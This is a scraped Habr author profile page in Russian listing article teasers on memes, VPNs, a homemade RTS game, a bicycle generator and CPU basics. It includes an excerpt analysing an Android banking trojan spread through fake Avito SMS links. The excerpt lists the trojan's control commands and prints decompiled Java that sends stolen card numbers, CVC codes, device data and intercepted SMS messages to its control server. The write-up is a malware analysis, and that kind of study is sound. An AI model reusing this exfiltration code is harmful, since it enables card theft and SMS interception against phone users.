Как стать автором
Обновить
0
0
Антон Андреев @fokan

Developer, React Native, Node.JS, Azure

Отправить сообщение

Двадцать один год XXI века в мемах. Часть 2: 2006-2010

Время на прочтение13 мин
Количество просмотров50K

Первая часть нашей ретроспективы мемов закончилась на 2005 году: преддверии классической эпохи интернетов конца нулевых. Уже там было немало дивного и годного — но подлинный взрыв мем культуры рунета начался с 2006 года. Интернет становился всё более массовым и всё менее «элитарным», аудитория росла невиданными темпами, а сеть всё больше проникала в «реальную» жизнь — которую всё чаще называли «офлайном».
Читать дальше →
Всего голосов 123: ↑114 и ↓9+105
Комментарии43

Двадцать один год XXI века в мемах. Часть 1: 2000-2005 годы

Время на прочтение14 мин
Количество просмотров57K

Интернет и мемы связаны давно и неразрывно — так нам кажется из наставшего-таки 2022 года. Это не совсем так.

Понятие мема — копируемой и распространяющейся базовой единицы информации — Ричард Докинз ввёл почти полвека тому назад, в 1976 году. Вряд ли он тогда мог представить, какой мем-вакханалией окажется заполнена сеть, тогда называвшаяся ARPANET, и представлявшая собой созданную по заказу военных экспериментальную систему связи из сотни хостов в научных центрах.

Впрочем, мемы почти в современном смысле существовали ещё тогда, когда Тьюринг «ломал» немецкую «Энигму» на электронно-механической Bombe, а фон Нейман только продумывал свой вариант архитектуры для будущих компьютеров. С начала 40-х, пока мир был охвачен войной, стены домов в Британии и США покрылись однотипными рисунками в виде человечка с подписью Kilroy was here.
Читать дальше →
Всего голосов 146: ↑131 и ↓15+116
Комментарии36

Немного о VPN: Краткий обзор программных реализаций

Время на прочтение8 мин
Количество просмотров51K


/ фото reynermedia CC

Неделю назад в нашем блоге мы затронули тему хранения данных, а точнее технологий, способных изменить наше с вами представление о дата-центрах. Сегодня мы хотим поговорить о технологиях, имеющих непосредственное отношение к передаче данных.
Читать дальше →
Всего голосов 22: ↑17 и ↓5+12
Комментарии31

Повесть о создании классической RTS в домашних условиях с нуля + разбор основных этапов разработки (AI, сеть и т.д.)

Время на прочтение38 мин
Количество просмотров75K
image

В статье речь пойдет об одном очень не новом проекте, который создавался совсем в другое время и совсем в других условиях. Это моя старенькая RTS под названием Земля онимодов (Onimod land). Чтобы было сразу понятно, что она собой представляет, можно посмотреть коротенькое видео:
Читать дальше →
Всего голосов 117: ↑116 и ↓1+115
Комментарии119

Генератор своими руками на 220 вольт. Теперь отключения света не страшны

Время на прочтение2 мин
Количество просмотров544K
Я покажу как собрать простой, но достаточно мощный, генератор на 220 вольт.



Потребуется:


— коллекторный мотор, можно другой на 12 вольт
— насадка на ось мотора — патрон от дрели
— бесперебойник UPS или инвертор с 12 на 220
— диод на 10 ампер: Д214, Д242, Д215, Д232, КД203 и т. д.
— провода
— велосипед
— и желательно аккумулятор на 12 вольт

Сборка:


— закрепляем велосипед так, что бы заднее колесо крутилось свободно, вывешиваем его
— прикручиваем патрон на ось мотора
— крепим мотор так, что бы патрон плотно прижимался к колесу, можно подтянуть его пружиной
— подключаем мотор к аккумулятору: минусовой провод мотора к минусу аккумулятора, плюсовой провод мотора к аноду диода, катод диода к плюсу аккумулятора
— аккумулятор соединяем с бесперебойником или с инвертором
Всё! К бесперебойнику можно подключать потребители на 220 вольт и пользоваться электричеством! Как только аккумулятор разрядится, достаточно будет покрутить педали и примерно через час аккумулятор зарядится.
Читать дальше →
Всего голосов 270: ↑262 и ↓8+254
Комментарии181

Как работает CPU: интерактивный урок для начинающих

Время на прочтение2 мин
Количество просмотров115K
Simple CPU — маленький урок, который знакомит новичка с ключевыми понятиями информатики. Хотя урок далеко не полный и предназначен для «самых маленьких», но даже образованному человеку приятно видеть, насколько доступно и элегантно можно изложить сложный материал.

Урок состоит из 8 интерактивных примеров.

1. Бинарное счисление.

2. Логические операции на примере штриха Шеффера (NAND gate).


Штрих Шеффера (NAND gate)
Читать дальше →
Всего голосов 52: ↑41 и ↓11+30
Комментарии13

Как я позорно деактивировал ботнет

Время на прочтение10 мин
Количество просмотров191K
image

Разместил я, ничего не подозревая, объявление на avito.ru. Сколько раз туда ходил! Но на этот раз как-то не удалось…
Я давно был уверен, что многие нехорошие люди парсят телефонные номера с этого сайта, так что такси, строительные материалы, скорая компьютерная помощь, «8-800-555-3-555 — проще позвонить, чем у кого-то занимать» и приглашения на битву экстрасенсов для меня уже привычное дело, но на этот раз было нечто новое.

Приходит мне СМС-сообщение с текстом: «Зaинтерсoвaлo вaше oбьявление кaк нaсчет oбменa нa http://…». Прямо вот так, с пропущенным знаком препинания и ошибками. А по ссылке качается avito.apk. Интересно.

Исследование APK


Ну, подумал я, надо бы глянуть, что этот APK делает. Результат привычной для меня связки из apktool + dex2jar + jd-gui меня не удовлетворил, т.к. не было видно часть классов деревом, хотя доступ по ссылкам к ним получить было можно. Решил я воспользоваться новомодными онлайн-sandbox'ами — и декомпилированный код получил, и информацию, и pcap-файл со сдампленным трафиком. Как оказалось, этот файл загружали до меня, поэтому в мои руки попал более ранний анализ, что было достаточно полезно.

Итак, что умеет этот троян:
  • delivery&&& — рассылка СМС-сообщений на номера из телефонной книги с заданным текстом
  • sent&&& — отправка заданных СМС-сообщений с сервера
  • rent&&& — перехват всех СМС-сообщений и отправка их на сервер
  • sms_stop&&& — отмена перехвата СМС-сообщений
  • ussd&&& — USSD-запрос
  • call_1&&& — установка и отмена безусловной переадресации

Немного кода из моих заметок
protected HttpRequestBase a()
    {
        try
        {
            HttpPost httppost = new HttpPost(d());
            ArrayList arraylist = new ArrayList();
            arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(c())));
            arraylist.add(new BasicNameValuePair("number", b));
            arraylist.add(new BasicNameValuePair("month", Integer.toString(c.intValue())));
            arraylist.add(new BasicNameValuePair("year", Integer.toString(d.intValue())));
            arraylist.add(new BasicNameValuePair("cvc", Integer.toString(e.intValue())));
            httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
            return httppost;
        }
        catch(UnsupportedEncodingException unsupportedencodingexception)
        {
            unsupportedencodingexception.printStackTrace();
        }
        return null;
    }

    protected String d()
    {
        return new String((new StringBuilder()).append(a).append("set_card.php").toString());
    }






    protected HttpRequestBase a()
    {
        try
        {
            HttpPost httppost = new HttpPost(d());
            ArrayList arraylist = new ArrayList();
            arraylist.add(new BasicNameValuePair("id", com.avito.a.c.a(b)));
            arraylist.add(new BasicNameValuePair("info", com.avito.a.c.b(b)));
            httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
            return httppost;
        }
        catch(UnsupportedEncodingException unsupportedencodingexception)
        {
            unsupportedencodingexception.printStackTrace();
        }
        return null;
    }

    protected String d()
    {
        return new String((new StringBuilder()).append(a).append("get.php").toString());
    }




    protected HttpRequestBase a()
    {
        try
        {
            JSONObject jsonobject = new JSONObject();
            jsonobject.put("text", c);
            jsonobject.put("number", d);
            jsonobject.put("date", e);
            HttpPost httppost = new HttpPost(d());
            ArrayList arraylist = new ArrayList();
            arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(b)));
            arraylist.add(new BasicNameValuePair("sms", jsonobject.toString()));
            httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
            return httppost;
        }
        catch(UnsupportedEncodingException unsupportedencodingexception)
        {
            unsupportedencodingexception.printStackTrace();
        }
        catch(JSONException jsonexception)
        {
            jsonexception.printStackTrace();
        }
        return null;
    }

    protected String d()
    {
        return new String((new StringBuilder()).append(a).append("load_sms.php").toString());


Помимо этих команд, троян отключает Wifi Sleep, пытается получить доступ к зашифрованному хранилищу и установить себя в качестве Android-администратора (естественно, при этом используются стандартные диалоги ОС, где можно отменить данное действие). Код трояна не обфусцирован, некоторые строки закодированы base64. Вообще непонятно, что это за троян такой. То ли его собирали копипастой, то ли он основан на каком-то другом трояне, то ли еще что, но в нем имеются строки на португальском, немецком, английском, Ubuntu-шрифты, форма для перехвата данных из приложения немецкого банка Commerzbank, значок какой-то игры и флеш-плеера.
Читать дальше →
Всего голосов 368: ↑362 и ↓6+356
Комментарии143

Информация

В рейтинге
Не участвует
Откуда
Espoo, Southern Finland, Финляндия
Дата рождения
Зарегистрирован
Активность

Специализация

Fullstack Developer
Senior
TypeScript
JavaScript
React
Node.js
React Native
Windows Azure